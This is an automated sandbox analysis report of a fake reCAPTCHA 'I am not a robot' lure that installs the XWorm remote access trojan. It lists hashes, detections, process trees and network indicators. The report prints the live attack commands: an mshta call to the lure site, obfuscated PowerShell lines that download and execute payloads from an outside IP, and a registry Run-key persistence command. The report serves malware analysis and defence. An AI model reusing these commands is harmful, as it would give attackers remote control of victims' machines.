File name:

mshta httpsrecaptcha.icuCapcha.html.txt

Full analysis: https://app.any.run/tasks/257527bb-be33-4182-ac2f-b7f76c137915
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

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Analysis date: December 29, 2024, 08:42:16
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
remote
xworm
confuser
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with no line terminators
MD5:

B5A73A0BBADC7D8F2C86D0B5E299F3E7

SHA1:

4DA4599FEC2FF2EC18C6F284DE2ABA4CEAA89D70

SHA256:

44EA62497DE7A82BFB6415062252A37EF365B8A74DBC5A947B46DECD98555A6B

SSDEEP:

3:rN6e2gWLMGsMuybgG+RbqRF4I1yMQRWL3UB:Z6e2gNFdcgTIMPy3m

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  • MALICIOUS

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Request from PowerShell that ran from MSHTA.EXE

      • powershell.exe (PID: 4976)
      • powershell.exe (PID: 3620)

    • Changes the autorun value in the registry

      • RegSvcs.exe (PID: 4716)

    • XWORM has been detected (SURICATA)

      • RegSvcs.exe (PID: 5788)

    • Connects to the CnC server

      • RegSvcs.exe (PID: 5788)

  • SUSPICIOUS

    • Found IP address in command line

      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Obfuscated call of IEX

      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 5916)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 5916)

    • Process uses IPCONFIG to clear DNS cache

      • powershell.exe (PID: 4976)
      • powershell.exe (PID: 3620)

    • Connects to the server without a host name

      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 4976)
      • powershell.exe (PID: 3620)

    • Connects to unusual port

      • RegSvcs.exe (PID: 5788)

    • Contacting a server suspected of hosting an CnC

      • RegSvcs.exe (PID: 5788)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 5916)

    • Manual execution by a user

      • mshta.exe (PID: 5916)

    • The process uses the downloaded file

      • mshta.exe (PID: 5916)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 5236)

    • Checks proxy server information

      • mshta.exe (PID: 5916)
      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Disables trace logs

      • powershell.exe (PID: 3620)
      • powershell.exe (PID: 4976)

    • Reads the machine GUID from the registry

      • RegSvcs.exe (PID: 5788)

    • Checks supported languages

      • RegSvcs.exe (PID: 4716)
      • RegSvcs.exe (PID: 5788)

    • Reads the computer name

      • RegSvcs.exe (PID: 4716)
      • RegSvcs.exe (PID: 5788)

    • Confuser has been detected (YARA)

      • RegSvcs.exe (PID: 5788)
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No Malware configuration.
No data.
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Total processes
136
Monitored processes
11
Malicious processes
4
Suspicious processes
1

Behavior graph

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start notepad.exe no specs mshta.exe svchost.exe powershell.exe conhost.exe no specs powershell.exe conhost.exe no specs ipconfig.exe no specs ipconfig.exe no specs regsvcs.exe #XWORM regsvcs.exe

Process information

PID
CMD
Path
Indicators
Parent process
1740"C:\WINDOWS\system32\ipconfig.exe" /flushdnsC:\Windows\System32\ipconfig.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IP Configuration Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\ipconfig.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\dhcpcsvc6.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2676"C:\WINDOWS\system32\ipconfig.exe" /flushdnsC:\Windows\System32\ipconfig.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IP Configuration Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\ipconfig.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\dhcpcsvc6.dll
3620"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='##(N##ew-O###bje###ct N###et.W###e'; $c4='b##Cl####ie##nt##).###D###ow#nl##o##'; $c3='a##dSt####ri#####n###g(''http://92.255.57.155/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('#','');I`E`X $TC|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4716"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
4976"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='##(N##ew-O###bje###ct N###et.W###e'; $c4='b##Cl####ie##nt##).###D###ow#nl##o##'; $c3='a##dSt####ri#####n###g(''http://92.255.57.155/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('#','');I`E`X $TC|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
5236"C:\WINDOWS\system32\NOTEPAD.EXE" "C:\Users\admin\Desktop\mshta httpsrecaptcha.icuCapcha.html.txt"C:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
5696\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5788"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
5916"C:\WINDOWS\system32\mshta.exe" https://recaptcha.icu/Capcha.html # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3781''C:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
Total events
13 966
Read events
13 962
Write events
4
Delete events
0

Modification events

(PID) Process:(5916) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5916) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5916) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4716) RegSvcs.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:(default)
Value:
mshta vbscript:close(CreateObject("WScript.Shell").Run("powershell $L='(New-Object Net.We';$Y='bClient).Downlo';$V='adString(''http://92.255.57.155/1/2.png'')';$F=I`E`X ($L,$Y,$V -Join '')|I`E`X",0))
Executable files
0
Suspicious files
2
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
5916mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\Capcha[1].htmbinary
MD5:E2CE14BFCD4122BC2BE71D6C43F9B119
SHA256:06E2ADEBB2B96BE6CF7C2482C9948D9D21DCD1E16618800C71231951BED7B4D0
3620powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wif4jm2k.jcm.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4976powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_enx21n3l.qib.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4976powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ncul1tsw.32c.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3620powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:6F2004ED0D0EE54441D3E441F265E0F7
SHA256:2AB3C12148DBC2FA6AAB048E79A5C00AC9E89D934B91376DEF0732454677A23C
3620powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4i0aevpq.0qi.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
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HTTP(S) requests
46
TCP/UDP connections
63
DNS requests
21
Threats
87

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4976
powershell.exe
GET
200
92.255.57.155:80
http://92.255.57.155/1/2.png
unknown
—
—
malicious
3620
powershell.exe
GET
200
92.255.57.155:80
http://92.255.57.155/1/1.png
unknown
—
—
malicious
—
—
GET
304
52.149.20.212:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
unknown
—
—
—
—
—
GET
200
52.149.20.212:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
unknown
—
—
—
644
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
—
—
POST
204
104.126.37.185:443
https://www.bing.com/threshold/xls.aspx
unknown
—
—
whitelisted
—
—
POST
400
40.126.32.134:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
text
210 b
whitelisted
—
—
POST
400
40.126.32.140:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
—
—
whitelisted
—
—
POST
400
20.190.160.14:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
—
—
whitelisted
—
—
POST
400
40.126.32.76:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
text
210 b
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
192.168.100.255:137
—
—
—
unknown
4712
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2356
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
104.126.37.186:443
www.bing.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5916
mshta.exe
172.67.210.91:443
recaptcha.icu
CLOUDFLARENET
US
unknown
3620
powershell.exe
92.255.57.155:80
—
Chang Way Technologies Co. Limited
HK
malicious
4976
powershell.exe
92.255.57.155:80
—
Chang Way Technologies Co. Limited
HK
malicious
5064
SearchApp.exe
104.126.37.186:443
www.bing.com
Akamai International B.V.
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 51.104.136.2
whitelisted
www.bing.com
  • 104.126.37.186
  • 104.126.37.130
  • 104.126.37.131
  • 104.126.37.128
  • 104.126.37.178
  • 104.126.37.123
  • 104.126.37.185
  • 104.126.37.137
  • 104.126.37.136
whitelisted
google.com
  • 142.250.184.238
whitelisted
recaptcha.icu
  • 172.67.210.91
  • 104.21.69.162
unknown
login.live.com
  • 40.126.32.74
  • 20.190.160.14
  • 40.126.32.76
  • 40.126.32.72
  • 40.126.32.133
  • 20.190.160.22
  • 40.126.32.140
  • 20.190.160.17
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.156
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted

Threats

PID
Process
Class
Message
5916
mshta.exe
Potentially Bad Traffic
ET INFO Suspicious Domain (*.icu) in TLS SNI
2192
svchost.exe
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
4976
powershell.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 14
5788
RegSvcs.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm TCP Packet
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Reports
mshta httpsrecaptcha.icuCapcha.html.txt